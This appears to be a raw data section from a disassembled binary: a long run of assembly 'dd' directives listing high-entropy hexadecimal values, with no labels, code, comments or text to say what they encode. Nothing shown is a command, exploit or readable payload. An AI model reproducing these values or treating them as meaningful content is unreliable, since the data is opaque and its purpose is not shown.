		dd 51DEDD45h, 5DF80D07h, 57A3E12Fh, 0D02BDB27h,	0F2AE3Bh
		dd 0F486381Ah, 0E6E182C9h, 0BF44190Eh, 29A4405Ch, 397FC5BEh
		dd 0CB2CD676h, 4C4E0F2Dh, 0FE710192h, 3F0CB056h, 2F4DB0h
		dd 764B69D2h, 0D9397F3Dh, 4CF1FB0Fh, 35E400BCh,	72A8784h
		dd 488C60Bh, 6DB580FAh,	0F8C15E1Ch, 22A77E97h, 240028BAh
		dd 3181A9B7h, 912F6E8h,	0B8008FB8h, 77A13D4Bh, 0F6517D10h
		dd 50480045h, 0C97E2AD4h, 0F17BD85Dh, 219EC067h, 4E3B73D0h
		dd 877439FDh, 2852FE80h, 6F646540h, 70FAEE00h, 7504548Bh
		dd 9AC90089h, 23B2D732h, 2A0F62CFh, 40CA46ECh, 41396158h
		dd 0CCFA0029h, 74013D75h, 0F3039404h, 55FE5D87h, 0F880ECB1h
		dd 1D3FAF39h, 101D8Dh, 911BF55Ah, 2B004DC6h, 8E0AA9Dh
		dd 0E7113BEh, 9A4B0B5Fh, 960DB8C2h, 0F61DBD80h,	7970EB35h
		dd 0D2006F7Fh, 5505FA6Ah, 8F5F2Bh, 96EC2370h, 0AF6C2DDAh
		dd 0D42748h, 9121C18Dh,	7ED48459h, 405F0024h, 6A62F971h
		dd 3100CC02h, 4FAC535Ah, 4C8DDA2Eh, 72006A6Fh, 2CB6CE34h
		dd 441328C2h, 0BA019012h, 0B2F73895h, 9814DC40h, 0BBF0A5h
		dd 0B960FA3Fh, 5B25C4E7h, 0E00051F2h, 2807614h,	733306CFh
		dd 3E962498h, 720500C4h, 8ED3B6FCh, 786ED915h, 59AD07F0h
		dd 0C6006D94h, 58DC7Bh,	0BB76550Eh, 0A7C9DD17h,	8675349Ah
		dd 0D4292301h, 1B36D879h, 90654970h, 0BBE30CC2h, 72281921h
		dd 8C3C8D37h, 0AE1F3EBFh, 7EBE180h, 485D81A0h, 1753050h
		dd 602D2908h, 20E436ECh, 0F2045AF0h, 936679A0h,	4FDB8CC0h
		dd 67BB01E1h, 0B913E0A4h, 5EB040B0h, 1B601601h,	46A13099h
		dd 351314C7h, 9901242Ah, 1F825364h, 9E7F6076h, 776C3604h
		dd 1EC3B8E7h, 53AA904Ch, 0F4BCA0CEh, 644E17CAh,	51F20CE8h
		dd 6005B58h, 82F2471h, 3CD189h,	7C377AF3h, 0C3A514EFh
		dd 5CBA1C00h, 0A360CB87h, 720600E8h, 0D4684A99h, 6C1DF15Eh
		dd 80FC9C9Eh, 2BB3A70Bh, 0FC0AC654h, 8DCE0080h,	0ED857CFCh
		dd 1F098FD4h, 0CBF49Eh,	0FE35A4E8h, 445E831h, 0F143ABC8h
		dd 410C060h, 3E008F4Fh,	767010EAh, 0BA32861h, 5F0FE942h
		dd 0BA447800h, 0E0B0A99Fh, 9D73B480h, 5B71CA77h, 0AC943F28h
		dd 0B1265CE0h, 5A0A2806h, 0D180A443h, 98FA7EB6h, 14E2004Fh
		dd 6F324A7Fh, 0CF509642h, 330089ACh, 2043116Bh,	6DD82F8h
		dd 4D90EF7Bh, 440258D9h, 22D2C1C8h, 18D8809Dh, 1E5641BBh
		dd 8A4A088Ch, 0E0D5F0h,	206233CFh, 78B16AF2h, 0BC362E00h
		dd 1E641Ch, 6922B04Fh, 4B9B0247h, 3C403002h, 80F819A8h
		dd 0B0AAFE90h, 0DB233061h, 5FC0AF98h, 385E20h, 0E711A5DEh
		dd 25B0C886h, 15417300h, 0D075DC56h, 61702ECh, 440DCBEAh
		dd 42299A40h, 2800EBEEh, 8AA72AA5h, 533CC2h, 0D6BDA227h
		dd 18B21E57h, 9861D900h, 991D42AFh, 0B675D5h, 3EE7EC3Dh
		dd 0CA356790h, 0AACF7200h, 0C7B77EF1h, 70E20075h, 0F9DB245Ah
		dd 3D003EC3h, 0D2934778h, 0B68BFCh, 84D92622h, 0A669FFFh
		dd 0D070201h, 0A7A0ADC1h, 0E486E040h, 5A8901D7h, 1476B222h
		dd 7A68CC72h, 0D33D0300h, 0E30D55ABh, 287B488Bh, 2306926h
		dd 99526134h, 6CF1BD63h, 20DE3195h, 1E2C9E92h, 0C820403Ch
		dd 0BEDAA101h, 1347103Dh, 70D5A8C3h, 23FC1F69h,	0BCDDC0D9h
		dd 3BD0AF37h, 224D0D00h, 0B56030ECh, 0D5360177h, 0EFA18E14h
		dd 0D0C44079h, 4C003D11h, 31CB78E9h, 7DABCFA5h,	0D7EE0368h
		dd 0A2498F0Ah, 0F48C30B9h, 0F8037612h, 57149516h, 0EA11F08Dh
		dd 0DC30F707h, 0D09800E9h, 806EE43Fh, 6660AE25h, 67F12D18h
		dd 691F13C6h, 0A73A004Dh, 0BB049279h, 447AA024h, 0D301763Fh
		dd 0C94D60CCh, 0EBCC764Eh
		dd 0CE9200DBh, 2D325389h, 0F103F7FCh, 0A1CD7B1Fh, 0E6B9A24Dh
		dd 0E11817F8h, 8454006Dh, 7BEB6B04h, 0A100C7E6h, 0A9895540h
		dd 5738C2h, 0B8812AF7h,	0A006A590h, 48CEE25h, 70CCF408h
		dd 9200EF1Eh, 672C282Bh, 0AF00B081h, 534C334Eh,	0EDBC0035h
		dd 0FE021D62h, 0CAF41545h, 77A59403h, 90E59FF7h, 0FCC0DF5Ch
		dd 3DBB007Dh, 0C2A7D28Dh, 0FA00AD3Ah, 27313783h, 47533AEh
		dd 2EF46B72h, 0CDC8D02Fh, 0B6016AB7h, 6223530Fh, 56E4CF33h
		dd 6B1A0F3Ah, 0D886FCF5h, 0F600B899h, 0B3BB6E23h, 78A1C8h
		dd 5B4E384Fh, 2F9F0212h, 0D05C2500h, 0C470C5FEh, 0E9E20077h
		dd 58B34E14h, 45000AA4h, 13D9F521h, 474C78h, 674D4FFEh
		dd 0B46184F3h, 90F13460h, 3B5FD64h, 82CBBCF4h, 7AA00ED6h
		dd 2007E75h, 89169C52h,	0BBEE9DEh, 0A4FE85D5h, 0F9290077h
		dd 0DB6947h, 1CD13034h,	0D994A84Fh, 84532A2Ch, 0A6C1F800h
		dd 0E2FC9B0Eh, 97710F64h, 4C44A2C6h, 0FC8A212h,	4FC77CB8h
		dd 33D480B2h, 58AA3559h, 4300883Ch, 0F592FCEEh,	0B73F2C7Dh
		dd 0E55880A3h, 831EAA10h, 502548A7h, 536C500h, 529765AFh
		dd 3B48FBF2h, 0C81E00A8h, 8C4540A9h, 88ED07B3h,	70721D5Fh
		dd 0B548D201h, 61DB910Eh, 9CDD608Eh, 0D76313h, 4D4EF541h
		dd 21D4A87Dh, 3EEA9801h, 7AFEFE0h, 0D2C3B9C3h, 9E91C20h
		dd 38F2FF7Ah, 49C888A0h, 0C900FD89h, 5317F599h,	337C98h
		dd 0E310B7DCh, 1C3BF17Ah, 38414900h, 0ADC64859h, 5980B28h
		dd 1C0095B4h, 0DD7A6567h, 2F242172h, 371F4229h,	112AA700h
		dd 0B06ED483h, 0C012002Dh, 763D4147h, 0A13E69E1h, 0F8248003h
		dd 0AD5EF390h, 852E0952h, 0D800BF22h, 0F6561FC9h, 59632400h
		dd 80583D6Ch, 0F416027Dh, 0FE363BB7h, 25497040h, 0F1A89B03h
		dd 0C80E5313h, 776FCE63h, 0DF7B022Eh, 48274B8h,	0B501040h
		dd 3E26C900h, 0F3768E2Fh, 0FC9F1657h, 3E00AFDBh, 0B183A4A8h
		dd 5F0704A6h, 0C73CD793h, 0C069C50Ch, 879C15E0h, 0F5CA490h
		dd 0D88A00C8h, 0FC335B8Dh, 3FC2009Dh, 1389CAAFh, 6900385Dh
		dd 1EFF6BE1h, 9C57C6h, 0CD8B3B0Ch, 974AB0A2h, 4C48EB00h
		dd 0F5156778h, 1A80092h, 9874414Bh, 3F00A69Fh, 3142269Ah
		dd 0E7F6258h, 0A401DE7Ah, 0B45C4CA0h, 65F2700Ah, 7E799100h
		dd 1DED984Bh, 0AE3A0B68h, 59A1EC18h, 0FC05C9D9h, 0E6057E9Eh
		dd 69100DC2h, 6EC35DC0h, 327A0294h, 27B0A63Ch, 0B244C1C0h
		dd 259C2100h, 0AE2F8D24h, 90561C0Ch, 0A43500D1h, 0A7DB9946h
		dd 0BF98953Bh, 2C074826h, 7F00BDF6h, 32A2DA73h,	5230C0B8h
		dd 14FC63B7h, 0A872A17Eh, 5B8B6E00h, 0D7F09740h, 0DB250171h
		dd 0E3216119h, 27202C13h, 33842053h, 1D764F93h,	4001303Dh
		dd 0AB2F38EBh, 349459C3h, 9C4BD600h, 0F6C4B4E4h, 1FD248AEh
		dd 0FC08BE00h, 0BC6B96ACh, 9BBD9200h, 23B4A8Fh,	9C69836h
		dd 788A1A84h, 7E694002h, 8000E089h, 7CC20BE6h, 590CCF5Ch
		dd 0C5870h, 5D1DAB20h, 1AF403Dh, 27BC590Eh, 0CC11DFAAh
		dd 0B6EE5B22h, 64441D00h, 29FE1697h, 95260F6Ch,	25EF56A3h
		dd 0C2058080h, 3D007579h, 0B88334C1h, 0E59480Bh, 0F112DC8Ah
		dd 0C3C07340h, 0AE007E87h, 0C6B04CBFh, 2118AE7h, 3ABA25Ah
		dd 9040DBA3h, 0D4009F48h, 0B1EBAA7Bh, 0FA88F55Eh, 90C57BEAh
		dd 98BF09F3h, 0F4006546h, 0ACBE84Dh, 9E15A800h,	69A5C491h
		dd 11482C74h, 856E1E30h, 0C00A3BB3h, 718AC965h,	28B24300h
		dd 88B0B5AFh, 738D3045h, 0E13DB778h, 0D959D61Fh, 52322784h
		dd 0E530BCC7h, 1E24A6FFh, 0E96DBEB3h, 7E223FE8h, 0DE42D813h
		dd 4A742C40h, 3B775214h, 0F700460Dh, 794F966Eh,	0AC00C588h
		dd 0E0751282h, 182A85h,	19E26C40h, 0F7A83D26h, 6368EF00h
		dd 0E59A58C1h, 4AEB017Dh, 0C2CC5D8Fh, 72799F07h, 37170521h
		dd 96E84205h, 8DE0401Fh, 0D326F924h, 80006449h,	31D99176h
		dd 203F0354h, 0BB420AF8h, 8DC788C0h, 6165BF00h,	0E9828397h
		dd 58DB0074h, 9DDF50Eh,	7BF26B17h, 9B71CF16h, 206E880Fh
		dd 300E3496h, 0C70F002Ah, 0EBD37621h, 0A60F07CAh, 2E5744BEh
		dd 604CEF5Dh, 0C79CD07Eh, 2B40010Ch, 7D6ADEA1h,	7560F470h
		dd 6677DF08h, 0E9EC0450h, 5DE8F42Dh, 0F8F7A31Ch, 0CF3D6041h
		dd 0B0508078h, 30F04Bh,	3B0D2A55h, 2EA7D676h, 8403DC70h
		dd 241B833Fh, 0ACF7E052h, 0C3A62E0Bh, 28F30108h, 612750BEh
		dd 8F2C3C4Ch, 0B1DD60D5h, 51FE1973h, 15FC9040h,	0F9E40188h
		dd 853A4BFCh, 3868A0h, 206F3EAAh, 4D1D5Eh, 38ACEBE9h, 33CB48FCh
		dd 0F83BF528h, 2F34AF01h, 63F3FB8Ch, 0C029A1E8h, 0AB0EF258h
		dd 61267CE3h, 0C800C0EFh, 7EBECC41h, 13E03A9Ch,	0B4963294h
		dd 0A4B51A00h, 0BAD4011h, 0F99E362Ch, 85406C1Fh, 0BE389071h
		dd 0A6D01DC3h, 4EE3C0A8h, 8873F79h, 8EDA9E2Eh, 0FEF0B200h
		dd 3EF7CCh, 6690D0BFh, 87BDED47h, 18DC48h, 0ADCD7F14h
		dd 71259E22h, 18DD60FEh, 0CA05B93Dh, 0CD78C21Ch, 0A004CDCh
		dd 944A7537h, 0FD86000Eh, 0C4A1AC7Ch, 0E10BA56Ch, 0C87B3DEh
		dd 17404Fh, 0FE9923Ah, 94F33185h, 9A4B75EAh, 0DEDD5C03h
		dd 5D2800E5h, 43B8B11Ah, 0C0049FEh, 914E75C0h, 0BA064Fh
		dd 1E185444h, 0E3B429BDh, 0AA6C1900h, 776717BEh, 0B0917628h
		dd 0C16E4EABh, 210CC1E4h, 7D773078h, 0A3FD0200h, 0F2AA8838h
		dd 501D00E1h, 4CE4483Fh, 461E84B8h, 0FAA9F5h, 0AF21BDE0h
		dd 0B8D022CFh, 0C99501B9h, 79C80D9Dh, 8774F8C0h, 0C4AD2A00h
		dd 16F4139Eh, 8D070060h, 346B1AECh, 0E0548FBCh,	7B009EDCh
		dd 40BBA306h, 778059h, 1E44E670h, 2D15385Ah, 80C7143Ch
		dd 5B7CF8CDh, 1D0D61EAh, 0C010BB36h, 0ED794D12h, 0B0021CE1h
		dd 17E650E4h, 7C904057h, 4E9C0419h, 0F047E773h,	0D80014C4h
		dd 0DA69501Ah, 280DCC40h, 499EDBB4h, 0B5A04CFEh, 48902DD3h
		dd 39A13200h, 0ED727BD6h, 0BA673BE9h, 0F13E267Bh, 0FAA3091Ah
		dd 1BDB8001h, 0B480062Ch, 0DA35F0B8h, 0E13A3B13h, 7422D007h
		dd 0D5806E95h, 318DF8h,	93DE0991h, 0FE5B88CBh, 3E0BFA04h
		dd 0D8C0C215h, 0DDBB18h, 0E0B24C52h, 2C7EB31Bh,	0B03CB730h
		dd 73DBA22Eh, 609A0038h, 0CD4D9196h, 88F6C212h,	9CDDAF3Ah
		dd 0D1472E26h, 80F9967Ah, 0EB93FDECh, 0B3400049h, 0E0F547C2h
		dd 149CA704h, 0A6E58903h, 4B20A032h, 0F37B03ECh, 409F119Ah
		dd 0FCA4DD98h, 62006096h, 0B54C8921h, 1963007Dh, 282A0ED1h
		dd 10F5FD6h, 4E9187E7h,	0B707B288h, 0A0C04625h,	0EDBDD8h
		dd 3F67835Eh, 0CDDDB942h, 5AC42800h, 0F80D5343h, 4EAF17D1h
		dd 0F43B02D9h, 968BE7A5h, 8E7E8040h, 0B8365200h, 894608B2h
		dd 0F01A00C7h, 82476814h, 6026AD44h, 5A809CE7h,	0D2803522h
		dd 13C9070Eh, 3108F272h, 0FAEE15D5h, 0CD2722C0h, 86046D0Fh
		dd 8F61200Ah, 0E27EFC52h, 0F9660775h, 50C5197Ah, 0F3840695h
		dd 13487607h, 4FC182AFh, 4DED2096h, 6C17B880h, 18568CF6h
		dd 9B97DD07h, 55EBBEB8h, 9A10E400h, 0B4028730h,	5A6AAD1Ch
		dd 0EACCA03Fh, 3EFB8C6h, 81B28CF2h, 84A0BC1Ah, 0A600B96Ch
		dd 0C415A9C9h, 1DD99D61h, 5F1B0412h, 0C13C40C3h, 5157C0DFh
		dd 0EE01F87Bh, 542C0134h, 0DCD0DB2Eh, 0A2A00C3h, 80E7F0C9h
		dd 5F59CB17h, 95D0005Ch, 874EA007h, 20480EEBh, 0F960D333h
		dd 0ABC11D7Eh, 79452C00h, 348F5302h, 772401DDh,	0A1CCB0EBh
		dd 0E769D89Dh
		dd 32005C7Bh, 0C99F23D4h, 5A6E4F26h, 972C00C5h,	1B4A40AEh
		dd 53724100h, 66AA0B42h, 33DBF4EEh, 1C897395h, 8A4020EEh
		dd 104374BAh, 1F81C0C6h, 0AB009BB9h, 7409BF61h,	26CA029Dh
		dd 0E616641Eh, 1CE25FE0h, 6C1DB03h, 0E3214CCFh,	2670DF5Eh
		dd 0FEE7C7h, 8E17BDEh, 0D0312C93h, 4E0FC67Dh, 8AA7B4B9h
		dd 0E380C38h, 6748921Bh, 88EC73EBh, 0F6BA0DABh,	83D01E2Eh
		dd 0AC555F90h, 733803DDh, 56D87843h, 9859A5D0h,	4106EF0Eh
		dd 295CEA9h, 406A334Fh,	21A2F8h, 7C73A1FEh, 1729C67Dh
		dd 89DCD103h, 9808DE79h, 0BE0D85h, 0D501F392h, 0BB28D045h
		dd 4E642206h, 1E807290h, 0D35F40B3h, 667F0047h,	0DC30C79Ah
		dd 0CFA02700h, 9E6F788Dh, 0A3183AFDh, 96B7E400h, 63462DAEh
		dd 98017A00h, 2747082Eh, 40350006h, 9AD7900Bh, 0A42E2F48h
		dd 0F1857C13h, 1CF0C1DCh, 0A9DA0082h, 0F29A3F40h, 7004C16h
		dd 0F9034341h, 7D2ED71h, 0A2D55885h, 461EF15Eh,	244BFC31h
		dd 0C200A974h, 0C8E308ADh, 75E180h, 0B1A54F5Fh,	3910EB28h
		dd 0C52B3216h, 4087FB0Eh, 0C49DC70Ch, 80FF2DA7h, 0AF394800h
		dd 0F50C2AABh, 7249727Dh, 14A800DCh, 157CE445h,	8C05F39Bh
		dd 826E333Dh, 771340E6h, 46808165h, 0DC81203Eh,	19154EB0h
		dd 18E80548h, 46FCB5FCh, 34093DB3h, 37AD2B1Eh, 21E80039h
		dd 0B8404272h, 56D144FAh, 2FA1D905h, 0D0B0862Eh, 79DC0132h
		dd 1FF1C458h, 3BE3FC70h, 8952013Eh, 80DA3808h, 0EAA3D168h
		dd 8674CBh, 0CDB45EB1h,	8E4485A0h, 0C9194E2Eh, 21815D00h
		dd 7A76AAF9h, 87C700E7h, 0E5C308CCh, 6509CE46h,	2F46863h
		dd 481C79E0h, 0F28405A4h, 0CAAB03CBh, 0DDF1E918h, 862F38B0h
		dd 6308C103h, 0E0F72687h, 0E0DC66h, 1DC9F5FFh, 2D98A74Eh
		dd 9A34BE02h, 0E2AD733Ah, 0D6754003h, 5A4500B8h, 9DE60978h
		dd 0FA0A08BDh, 90F7464Dh, 8C16D113h, 0D7AB2C00h, 1AD065Eh
		dd 34FCE16Ch, 50B69D29h, 734DDE98h, 4E0F5A00h, 21B57038h
		dd 35830055h, 746ABEDBh, 299012C5h, 6FE59A0Eh, 0E6FC8045h
		dd 15AFAECh, 585FA63Eh,	0CD4B46AAh, 2C41E451h, 0E4F54900h
		dd 0DB73CC1h, 9D57005Eh, 0E74D704Eh, 0CCE4096Ah, 0BC90307h
		dd 67A1BB04h, 4BF040FAh, 0C01660F1h, 0A27BB7E2h, 3EA81800h
		dd 881D72A1h, 0A8A05806h, 0F636AC44h, 73E7006Eh, 0B95021B8h
		dd 30059BAEh, 0D0B1CDC3h, 0C5CC4C90h, 0C00EF420h, 5A8F5DAAh
		dd 33001291h, 903D7646h, 745F821h, 0AD8C88Eh, 0B4074B5Ch
		dd 0E5422B8h, 28E4BCF0h, 0A22F5A01h, 27F34A39h,	0C53CC02Eh
		dd 3A00C701h, 37611CA6h, 0A842Ch, 0C0CD7F71h, 3DD98D2Fh
		dd 2827A700h, 19C192FBh, 83680776h, 40E73B3Ah, 0A72610F3h
		dd 8A4A6A13h, 5AF4A00h,	7BCF5811h, 870FF55h, 17FC1D4Bh
		dd 7FEA4916h, 6F6D4980h, 40985B6Eh, 7EC69505h, 24C1C179h
		dd 9AC7E851h, 0BACE437h, 0F776548Dh, 0E1678400h, 0C70021BDh
		dd 0E6E74B27h, 7BC0334Eh, 6E7A00BCh, 62A5DB79h,	0A00DAB4h
		dd 52A35AA8h, 0C086E2h,	0BCCF8C8Eh, 0C657FF73h,	0A4350400h
		dd 0EBF145BFh, 988500A8h, 0D3C025D4h, 0CF1DC9FDh, 6685828Ah
		dd 0A409365Bh, 2CDC013Ch, 108737B0h, 644C2B92h,	0A14890ABh
		dd 0FF00502Dh, 0B0E67BEBh, 38C862h, 0CFE5FF1h, 0DA1D1B63h
		dd 70D83C00h, 7AF2F58Ah, 0EA4E3C2Dh, 1C173D07h,	7B00FF29h
		dd 4F1B43D7h, 6D079700h, 0CBD52E0Bh, 52D03C62h,	0EF8F7583h
		dd 30EE9C28h, 38156300h, 0C65B993Ah, 192F601Ah,	0CC37D090h
		dd 2C00DA4Ah, 0B94C3361h, 30FA494Ah, 0C3688D00h, 0D01AE56Ah
		dd 0A6C29E24h, 66E81D00h, 25954707h, 0F4805215h, 3E695E09h
		dd 0B0035530h, 5126BBh,	97290B7Bh, 34450867h, 434C7107h
		dd 4260FD1Eh, 6522E0h, 0AD37165Bh, 0BC64FF3Dh, 0E570ACE8h
		dd 11737835h, 0C5EA0881h, 7000683Ch, 0F9925B8Eh, 7A00A3AFh
		dd 743D143Bh, 0EAFF3FB8h, 0C8530027h, 4C58115h,	20001A48h
		dd 0F9EFE711h, 785626Ah, 0C28FAE8Dh, 0EB99703Eh, 0C409958Ah
		dd 0F946151h, 8E28EBCCh, 0D026A272h, 60307B91h,	0F77E5978h
		dd 0B50A300h, 0A40DE2A0h, 3DB20004h, 9D69DD67h,	800F29ECh
		dd 0D4A618h, 0B84C8F54h, 0C0550B1Ah, 44002A5Ah,	2FC6AF16h
		dd 0F8E78301h, 19999608h, 8A06D8h, 8BF213DDh, 29308F12h
		dd 0D35EC31Dh, 6075C680h, 2EC59h, 13420DA7h, 0C2218540h
		dd 0D40C7CFCh, 510C38ADh, 337B8Fh, 9700663h, 3C0EA52Fh
		dd 71F0C750h, 3857B02Eh, 45341D89h, 4D2EBA80h, 0CF065DDCh
		dd 0E70846Ch, 0E235A126h, 31515281h, 2CE474ACh,	18033A74h
		dd 0ED4D9203h, 0EE64A0ABh, 93DB2148h, 72401606h, 68DD33B9h
		dd 4587E31Ah, 76FA007Ch, 0EB52BC26h, 3675897h, 0A5242E74h
		dd 0C498E5D8h, 13007F64h, 0E915B8D4h, 38773401h, 0C78DE4E3h
		dd 0E058AA8Ch, 2E3F9330h, 0E13CD071h, 16E57F06h, 4C0246Fh
		dd 513B26CDh, 41B325Ch,	0EF308BBh, 0DBCFEE6Fh, 0D0EDCE30h
		dd 43052088h, 0F0C1DC48h, 0BBF4DB3Bh, 85008C68h, 7D7ED99Bh
		dd 0CA8711h, 7BAA1464h,	61DFB8F1h, 0E8FA3E00h, 0FCF48BCEh
		dd 39330004h, 0E97C465h, 0F54C118Fh, 907A0797h,	0C320BEA0h
		dd 6D8C5Fh, 18A58DA6h, 0FF55D041h, 4E201106h, 1EA06FA3h
		dd 5FAB2CB7h, 0CB78424Bh, 28D0D39Eh, 71DA8C13h,	971DA490h
		dd 0BBC8009Ah, 4A91AAA2h, 507666Fh, 2B242A9Ch, 44311210h
		dd 0C084000Fh, 0B813489Ah, 6B3D721Fh, 0A8D68BC3h, 2B2C405Dh
		dd 28905Eh, 2DCFE5CDh, 23AE6F17h, 0E2F3B9A0h, 8226147Bh
		dd 0C90063BBh, 0B06BEF74h, 5653332Eh, 0DFF009DAh, 31EE2787h
		dd 3B43FA00h, 0E813954Eh, 0FD3D0081h, 0BFCEC522h, 1700BD7Ch
		dd 50027AB2h, 0FC54B4D2h, 0BBCCC0DDh, 61074EB6h, 1DA3EAC0h
		dd 41F9C2Ch, 0EEDB3AADh, 4CD8E867h, 616E0088h, 403975Ch
		dd 0B4FB4CBCh, 5405D501h, 0E8DC8D0Ch, 83001DF3h, 0EAB40E79h
		dd 26A8B5Ch, 8078817Bh,	0B0E1F037h, 2C25C676h, 259C1CE0h
		dd 9000B815h, 2046DB23h, 1000FE4Ah, 2FF4A23Bh, 0C4973F1h
		dd 868C34ABh, 0AC1CCD41h, 8B807996h, 5FE4D4Bh, 13EACBh
		dd 24833CB5h, 1955872h,	4F155100h, 0BD2AAE8Ah, 5D6C18E1h
		dd 0EA5270FCh, 2C901900h, 35B13A51h, 1EAE74BEh,	47ACBB87h
		dd 0FFB6C796h, 28ADC4A0h, 1909E2DAh, 4F9EB510h,	8C710040h
		dd 43F3D042h, 8D068700h, 832AA8ABh, 0A70B03D4h,	1EA43B41h
		dd 0BDD73FF8h, 189F685Ch, 0C598F34Bh, 0BF94397Ah, 310F430h
		dd 1500DE5Fh, 9A79F76Ah, 49A50287h, 4700C8D4h, 2CF928A4h
		dd 48004FECh, 0B8296867h, 609CEBCBh, 8291987Ch,	0AD006901h
		dd 20A6738Ch, 0F6D613h,	0ACB6E187h, 71E28876h, 60DC2154h
		dd 9854E5A0h, 0A9A81D00h, 6FD682D1h, 11FE2CC9h,	0BBF417B9h
		dd 83EAA700h, 0F8D5E15h, 0F9369BCDh, 0D0BAADE0h, 3801906Bh
		dd 1862D658h, 1872A929h, 9125163Bh, 0A793DCE8h,	2F383Eh
		dd 997A9482h, 1E14F1Ch,	0D870FD56h, 34C1335Bh, 0AA0042D8h
		dd 0B4457D0Eh, 3D4F0AA4h, 0A78E0CAEh, 0C0B25533h, 0C4D5A534h
		dd 0EC5D5B04h, 5380836Ch, 4CF02E8Ah, 32009CD2h,	0CD7EA1B3h
		dd 0B6029E4Ah, 0C8291AABh, 9F58685Fh, 0E486014Eh, 2C342373h
		dd 3C64CCCFh, 2BB9C600h, 0B2A238A4h, 92C8F3AFh,	0A6820E33h
		dd 1D207D68h, 0C46C473Bh, 147CBD00h, 950A1F4Ch,	0FD631D2Ch
		dd 48E580E1h, 0B46FFB5Fh
		dd 0E54250Eh, 3A53E042h, 92E7A5Ch, 0ABA4BD65h, 0AF3D8F80h
		dd 217808B2h, 0E7773F00h, 0C06C7561h, 0E4F70727h, 0A06B11CEh
		dd 684E9C46h, 0AADA9600h, 7089A2C3h, 74BD18D1h,	61D04899h
		dd 7BF18A01h, 2C7D6E6Fh, 0FD290E0h, 0AB5F4609h,	0FC81DAABh
		dd 20AED7B0h, 1097D12Ch, 802AFAA8h, 7CD3B831h, 4AB59C80h
		dd 204E00F1h, 7B85F381h, 8F137A83h, 44B1E2CEh, 9E2A4E80h
		dd 48A3BCF7h, 4A36A100h, 0B9DE930Ah, 788900F0h,	17DDE195h
		dd 0D9EA94E4h, 5A13E000h, 0F40C7CEDh, 613D1F42h, 47CA1279h
		dd 9065A8FCh, 4E6469E9h, 59F9B307h, 605E5382h, 0C6C4C96Bh
		dd 0BBAD1698h, 2E33000Ch, 1078D032h, 0F179921Fh, 6AD53900h
		dd 3E894Bh, 14952496h, 0AD2A974h, 41F63F01h, 811B8D26h
		dd 0BC091180h, 0E5C6AD15h, 0F3A35D0Fh, 9F9500DBh, 3E1795Ch
		dd 0E04BE434h, 30023B93h, 62EF1080h, 77BC5A14h,	84BB1EF9h
		dd 0FE38802Ch, 354C2778h, 0EF2E1119h, 0B848B9D9h, 0DA10020h
		dd 3ACB1F6Ah, 54754F91h, 0EA40D703h, 0E2B13D41h, 0F1C889ABh
		dd 38C02728h, 0E9006DE7h, 717EF4F7h, 0E02A9211h, 8156076Bh
		dd 0AAAC0F55h, 0C29500C4h, 0F485D94Ch, 0C0DE736Eh, 55FC8034h
		dd 9B4E00E1h, 0AAC8B869h, 405B720Ch, 8CA2640Ah,	0DAE0BB00h
		dd 76FC9E59h, 779F00F2h, 84E39994h, 0B10026B4h,	5CCA4A1Bh
		dd 24471E91h, 1E303F7h,	31836B09h, 9248203Fh, 319A1B38h
		dd 1C09004h, 5D9FAE4h, 0E52D0A93h, 7D30E2E6h, 0F77E6600h
		dd 0A0FBDCFFh, 0B9F78E9h, 900534A8h, 228AB400h,	37099D61h
		dd 36D2382h, 0CB256609h, 79200195h, 725F4D2Dh, 3F3EF0E8h
		dd 0D3DCBA03h, 0F0E15A0Dh, 559262h, 0E738A8E4h,	156C3F5h
		dd 690EB0B8h, 61DFE88Ch, 5AC3752h, 1FE7CFD0h, 0E0F424h
		dd 5D0F4F01h, 0EC0E13FBh, 2AD65541h, 39E40Bh, 25470EA0h
		dd 6D9A31h, 16E67F7Bh, 0E2B2AA79h, 0B14EA100h, 50E55709h
		dd 9F70044Fh, 0D2A0D265h, 3560A2ECh, 0F0FD7C0h,	6F028390h
		dd 0E546607Dh, 7B8DA8Dh, 0EB872D32h, 0D72EF0C8h, 8000478Ch
		dd 293F441Ch, 1CAFB4Bh,	0A2B6354Ah, 0CE587C13h,	5CB0E489h
		dd 0E30B7D5Ch, 91EC16FFh, 0E4DAADD8h, 548E1CE4h, 0B9A80B5h
		dd 4EEE62AAh, 0F491DB2Eh, 11724662h, 18E30138h,	0F5D07AD1h
		dd 2CEA5016h, 3DD7FD9h,	0DB347928h, 0C9A15926h,	416DF491h
		dd 4EC0A905h, 24B07BE0h, 3809832Eh, 494A515Eh, 40802640h
		dd 0A7666EF0h, 0C0050B6Bh, 2F2EF9BAh, 58202CB2h, 2E103E1h
		dd 0F6E37990h, 9619E916h, 80BB8505h, 0FE6D573Dh, 6F8C500Fh
		dd 951660FBh, 7011D7h, 3E5132DFh, 9E2C0153h, 6EB21807h
		dd 3C30E096h, 1D9A457h,	73C76AA2h, 0FC354139h, 0A9FDB46h
		dd 8038DAC0h, 0A3700DC1h, 0FDE14h, 0DFA9A251h, 0E07DF2BAh
		dd 5C82EA1Fh, 39097F47h, 2252AFC1h, 3E69EF0h, 34F8B2DDh
		dd 0A5BB45C2h, 0E8EAF799h, 0E324543Dh, 570314C8h, 0C98F0ED9h
		dd 0F3D858CAh, 72D800EAh, 0FF045E39h, 15003BFCh, 2A57B66Ch
		dd 7F2B0EE0h, 0F451138Bh, 205C0385h, 0E3B04BC6h, 0FE008003h
		dd 0AD8CD082h, 34869C9h, 3829B3D3h, 0D7F8C7E1h,	0A8980630h
		dd 0A5D91B00h, 0BE9C701Eh, 1F99831h, 3F47DBA2h,	0CD282BB2h
		dd 4495CC4Ch, 9466F300h, 0C55B20A9h, 0F2523E50h, 550FD44Ch
		dd 73A01BDFh, 7B62FDA3h, 3D198100h, 52141C8Eh, 0F6923A2Ah
		dd 7D67BE80h, 0D0E0B260h, 25443207h, 3776FFC5h,	0DE0F0148h
		dd 61AD1A14h, 0FD01F878h, 861E440Eh, 0A20B7284h, 0FC9C9072h
		dd 0C802B5A8h, 0CC505B94h, 0FF50F905h, 0A0A8B1EFh, 8B80F23Dh
		dd 78768D1Bh, 49302091h, 962741A6h, 0C6940081h,	0E005DFB8h
		dd 4007A0Ah, 2BF0C419h,	375EE58h, 0B31C5ED6h, 0F1F898BCh
		dd 0B92785E9h, 0AE70C1BFh, 8484F474h, 3E067E02h, 606E0785h
		dd 3D5CB343h, 722CF3F8h, 65160096h, 0B6EC10CDh,	58278326h
		dd 48E07114h, 0D2EB8058h, 5222A88h, 0B4422D9Eh,	0B658F04Eh
		dd 5C60B34Ah, 5D5E6A4Bh, 0E4009C33h, 3051B2A1h,	0B604C5B7h
